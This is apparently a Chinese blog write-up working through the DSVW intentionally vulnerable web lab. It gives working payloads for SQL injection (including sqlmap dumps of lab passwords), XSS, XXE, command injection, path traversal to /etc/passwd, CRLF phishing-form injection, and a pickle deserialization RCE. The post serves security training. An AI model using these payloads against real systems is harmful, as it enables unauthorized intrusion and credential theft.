【DSVW】攻防实战全记录

此后如竟没有炬火,我便是唯一的光

首先整体浏览网站

Blind SQL Injection (boolean)

基于布尔型的盲注: HTTP请求的响应体中不会明确的返回SQL的错误信息, 当把参数送入程序查询时,并且在查询条件为真的情况下返回正常页面,条件为假时程序会重定向到或者返回一个自定义的错误页面。

进入后整体浏览网页

构造payload:

?id=2'

可以看到我们的id是没有被单引号包裹的

构造payload:

?id=2 and 1=1

有回显

构造payload:

?id=2 and 1=2

无回显,可判断存在SQL注入

判断字段数

?id=2 order by 4

为4

查询表名:

union select 1,name,3,4 from sqlite_master

为comments、sqlite_sequence、users

查询所有表中的字段名

union select 1,sql,3,4 from sqlite_master

比如users表中的字段为 id、name、password、surname、username

查询密码

union select 1,password,3,4 from users

为7en8aiDoh!、12345、gandalf、phest1945

查询版本:

union select 1,sqlite_version(),3,4 from sqlite_master

为3.8.7.1

首先用sqlmap进行检测

python sqlmap.py -u http://x.x.x.x/?id=2 --batch

可以发现是SQLite数据库

查询表名:

python sqlmap.py -u http://x.x.x.x/?id=2 --batch --tables

为comments、sqlite_sequence、users

查询users表中的字段

python sqlmap.py -u http://x.x.x.x/?id=2 --batch -T users --columns

为 id、name、password、surname、username

查询password的字段内容

python sqlmap.py -u http://x.x.x.x/?id=2 --batch -T users -C password --dump

为7en8aiDoh!、12345、gandalf、phest1945

构造payload:

and substr(sqlite_version(),1,1)='3'

得到sqlite版本首位为3

是布尔型注入

?id=2 AND SUBSTR((SELECT password FROM users WHERE name='admin'),1,1)='7'

正确有回显

错误payload:

?id=2 AND SUBSTR((SELECT password FROM users WHERE name='admin'),1,1)='8'

没有回显

构造payload:

?id=2 AND SUBSTR((SELECT password FROM users WHERE name='admin'),1,10)='7en8aiDoh!'

有回显,所以密码是7en8aiDoh!

Blind SQL Injection (time)

基于时间型的盲注: 与布尔型盲注类似, 当把参数送入程序查询时,通过判断服务器响应时所花费的时间, 如果延迟大于等于Payload中设定的值时就可判断查询结果为真, 否则为假。不同的BDMS使用的方法和技巧略有不同。

这个漏洞环境用到了 SQLITE3 中的 CASE 窗口函数与 RANDOMBLOB 来实现的基于时间的盲注。

MYSQL: sleep(2)

MSSQL: WAITFOR DELAY '0:0:2'

首先整体浏览网页

语句错误就不会沉睡

?id=1 and (SELECT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE name='admin'),1,10)='1111111111') THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000))))) ELSE 0 END))

如下

语句正确就会沉睡几秒

?id=1 and (SELECT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE name='admin'),1,10)='7en8aiDoh!') THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000))))) ELSE 0 END))

结果如下

UNION SQL Injection

基于联合查询注入: 使用UNION运算符用于SQL注入,UNION运算符是关联两个表的查询结果。攻击者故意伪造的恶意的查询并加入到原始查询中, 伪造的查询结果将被合并到原始查询的结果返回,攻击者会获得其他表的信息。

联合注入语句

?id=2 UNION ALL SELECT NULL, NULL, NULL, (SELECT username||','||password FROM users WHERE username='dricci')

内容如下

Login Bypass

登陆绕过: 这里是基于SQL注入的一种绕过方式。登陆验证的逻辑没有验证和过滤输入字符直接带到sql进行查询,所以产生漏洞。

首先整体浏览网页

利用or 1=1绕过登录

login?username=admin&password='or '1' like '1

成功绕过登陆

HTTP Parameter Pollution

当使用GET或者POST方法提交参数时, 请求体中包含了多个相同名称而不同值的参数。由于不同的语言与Web容器处理的方式不同, 结合业务场景会产生不同的影响。 通过利用这些影响,攻击者可能能够绕过输入验证,触发应用程序错误或修改内部变量值等风险。

参数污染就是重复断断续续的注释让waf以为这是注释从而绕过waf

login?username=admin&password='/**/or/**/'1'/**/like/**/'1

成功绕过登陆

Cross Site Scripting (reflected)

反射型跨站脚本攻击: 当攻击者在单个HTTP响应中插入浏览器可执行代码(HTML或JAVASCRIPT)时, 会发生反射跨站点脚本攻击。注入的恶意代码不会存储在应用程序后端, 它是非持久性的,只会影响打开恶意的链接或第三方网页的用户。

构造payload:

?v=0.2<script>alert("xss")</script>

成功弹窗

Cross Site Scripting (stored)

存储型跨站脚本攻击: 存储跨站脚本是最危险的跨站脚本类型, 其原理是Web系统会将攻击者提交的恶意代码存储到数据库中或是服务器后端里。只要受害者浏览到存在恶意代码的页面, 就会被执行恶意代码。

构造payload:

?comment=<script>alert("xss")</script>

点击here

每次刷新本页面,就会弹窗

Cross Site Scripting (DOM)

DOM型跨站脚本攻击: 基于DOM的跨站脚本是XSS bug的事实上的名字,它是页面上通常是JavaScript的活动浏览器端内容的结果,获取用户输入,然后做一些不安全的事情,导致注入代码的执行。

构造payload:

?#lang=en<script>alert("xss")</script>

成功弹窗

XML External Entity (local)

XML实体注入(本地): 在使用XML通信的服务中(如: SOAP服务)。Web系统没有验证与用户通信中XML格式, 攻击者可以构造恶意的XML文件来访问本地服务器上的资源信息。

首先整体浏览网页

用xml语句来查看etc目录下的passwd文件

?xml=]>&xxe;

结果如下

XML External Entity (remote)

XML实体注入(远程): 在使用XML通信的服务中(如: SOAP服务)。Web系统没有验证与用户通信中XML格式, 攻击者可以构造恶意的XML文件来将受害服务器的敏感信息上传到攻击者的服务器上,严重的可以反弹shell。

用xml语句来查看etc目录下的passwd文件

?xml=]>&xxe;

结果如下

Server Side Request Forgery

服务器端请求伪造: 一种由攻击者构造形成的指令并由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统资源。

构造payload:

?path=http://x.x.x.x:81/

如果 IP 地址 x.x.x.x开放了 81 端口, 那么返回得到的信息, 否则返回一个 500 错误。

Blind XPath Injection (boolean)

XPath注入: 与SQL注入类似,当网站使用用户提交的信息来构造XML数据的XPath查询时,会发生XPath注入攻击。 通过将有意的畸形信息发送到网站,攻击者可以了解XML数据的结构,或访问他通常不能访问的数据。 如果XML数据用于认证(例如基于XML的用户文件),他甚至可以提升其在网站上的权限。

XPath 是一门在 XML 文档中查找信息的语言。XPath 可用来在 XML 文档中对元素和属性进行遍历。

XPath 是 W3C XSLT 标准的主要元素,并且 XQuery 和 XPointer 都构建于 XPath 表达之上。

因此,对 XPath 的理解是很多高级 XML 应用的基础。

首先整体浏览网页:

构造payload:

?name=admin' and substring(password/text(),1,10)='7en8aiDoh!

结果如下

Cross Site Request Forgery

跨站请求伪造: 会导致受害者在当前被认证的Web应用程序上执行一些 "非正常授权" 的操作。通常这类攻击需要借助第三方(如:通过邮件、私信、聊天发送链接等)的一些帮助,攻击者可以强制Web应用程序的用户执行攻击者选择的操作。当受害者是普通用户时, CSRF攻击可能会影响最终用户数据和操作; 如果受害者是管理员帐户,CSRF攻击可能会危及整个Web应用程序系统的安全。

首先整体浏览网站,发现是Cross Site Scripting (stored)后的页面,会弹xss

构造payload:

?comment=<img src="/?comment=<div style="color:red; font-weight: bold">I lIke studying</div>">

点击here

结果如下

Frame Injection (phishing)

Frame注入(钓鱼): 属于XSS的范畴, 将HTML的标签注入到存在漏洞的HTTP响应体中, 如: iframe标签。

构造payload:

<iframe src="https://www.baidu.com" style="background-color:white;z-index:10;top:10%;left:10%;position:fixed;border-collapse:collapse;border:1px solid #a8a8a8"></iframe>

Frame Injection (content spoofing)

Frame注入(内容欺骗): 同上原理。

构造payload:

<iframe src="https://www.baidu.com" style="background-color:white;width:100%;height:100%;z-index:10;top:0;left:0;position:fixed;" frameborder="0"></iframe>

成功注入iframe标签

Unvalidated Redirect

未验证的重定向: 当Web应用程序接受不受信任的输入时,可能会导致Web应用程序将请求重定向到包含在不受信任的输入中的URL,从而可能导致未经验证的重定向和转发。 通过将不受信任的URL输入修改为恶意网站,攻击者可能会成功启动网络钓鱼诈骗并窃取用户凭据。 由于修改链接中的服务器名称与原始网站相同,因此网络钓鱼尝试可能具有更可信的外观。 未验证的重定向和转发攻击也可用于恶意制作一个URL,该URL将通过应用程序的访问控制检查,然后将攻击者转发到他们通常无法访问的特权功能。

构造payload:

?redir=https://www.baidu.com

成功跳转

Arbitrary Code Execution

任意代码执行: 开发人员没有严格验证用户输入的数据, 在某些特殊业务场景中, 用户可构造出恶意的代码或系统命令, 来获得服务器上的敏感信息或者得到服务器的控制权限。

构造payload:

?domain=www.google.com; ifconfig

Full Path Disclosure

完整路径泄露: 全路径泄露漏洞使攻击者能够看到Web应用程序在服务器端的完整路径(例如:/var/www/html/)。攻击者会结合其他漏洞对Web系统进一步的攻击(如: 写 Webshell)。

构造payload:

?path=http://x.x.x.x:81/

Source Code Disclosure

源码泄露: 该漏洞会造成允许未授权用户获得服务器端应用程序的源代码。此漏洞会造成企业内部的敏感信息泄露或容易遭受恶意攻击者攻击。

构造payload:

?path=dsvw.py

结果如下

Path Traversal

路径穿越: 路径遍历攻击(也称为目录遍历)旨在访问存储在Web根文件夹外部的文件和目录。通过使用 ".../" 或 "...\" 等相对文件路径方式来操纵引用文件的变量,该漏洞会允许访问存储在文件系统上的任意文件和目录。

构造payload:

?path=.../.../.../.../etc/passwd

结果如下

File Inclusion (remote)

远程文件包含: 通常利用目标应用程序中实现的 "动态文件包含" 机制,允许攻击者包括一个远程文件。 由于对用户输入的数据没有进行适当的验证,导致出现漏洞。

构造payload:

?include=dsvw.py

结果如下

HTTP Header Injection (phishing)

HTTP响应头拆分(钓鱼): 用户提交的部分参数, 没有经过验证或过滤直接在响应头中输出, 由于HTTP的Header中使用了CRLF(url中的%0d%0a)来分割各个字段中的数据。恶意用户可以构造特殊的数据应该欺骗钓鱼。

构造payload:

?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A<!DOCTYPE html><html><head><title>Login</title></head><body style='font: 12px monospace'><form action="http://www.baidu.com" onSubmit="alert('hello')">Username:<br><input type="text" name="username"><br>Password:<br><input type="password" name="password"><input type="submit" value="Login"></form></body></html>

当用户输入数据的时候会弹框

然后跳转到我们指定的页面

Component with Known Vulnerability (pickle)

使用含有已知漏洞的组件(pickle): pickle存在一个文件序列化漏洞。

整体浏览网页

构造payload:

?object=cos%0Asystem%0A(S'ping -c 5 127.0.0.1'%0AtR.%0A

这里执行了ping -c 5 127.0.0.1 命令

Denial of Service (memory)

拒绝服务(memory): 资源消耗型的 DoS 攻击, 通过大量的恶意请求来访问有缺陷的服务, 从而造成服务器的系统资源消耗(如: CPU利用率100%、内存耗尽等) 增大, 来影响正常用户的使用。往往会造成正常用户的无法打开或无法访问等一系列问题。

整体浏览网页

构造payload:

?size=99999

可以看到页面一直在刷新

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

CSDN: 
https://rdyx0.blog.csdn.net/

公众号:儒道易行
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85
相关推荐
黑客老陈3 小时前
面试经验分享 | 北京渗透测试岗位
运维·服务器·经验分享·安全·web安全·面试·职场和发展
安全方案9 小时前
如何识别钓鱼邮件和诈骗网站?(附网络安全意识培训PPT资料)
网络安全·安全培训
H轨迹H12 小时前
SolidState靶机通关教程及提权
网络安全·渗透测试·靶机·oscp
独行soc13 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍11基于XML的SQL注入(XML-Based SQL Injection)
数据库·安全·web安全·漏洞挖掘·sql注入·hw·xml注入
D1TAsec13 小时前
Powercat 无文件落地执行技巧,你确定不进来看看?
网络安全
文大。14 小时前
2024年广西职工职业技能大赛-Spring
java·spring·网络安全
风间琉璃""14 小时前
bugkctf 渗透测试1超详细版
数据库·web安全·网络安全·渗透测试·内网·安全工具
安全方案16 小时前
如何增强网络安全意识?(附培训PPT资料)
网络·安全·web安全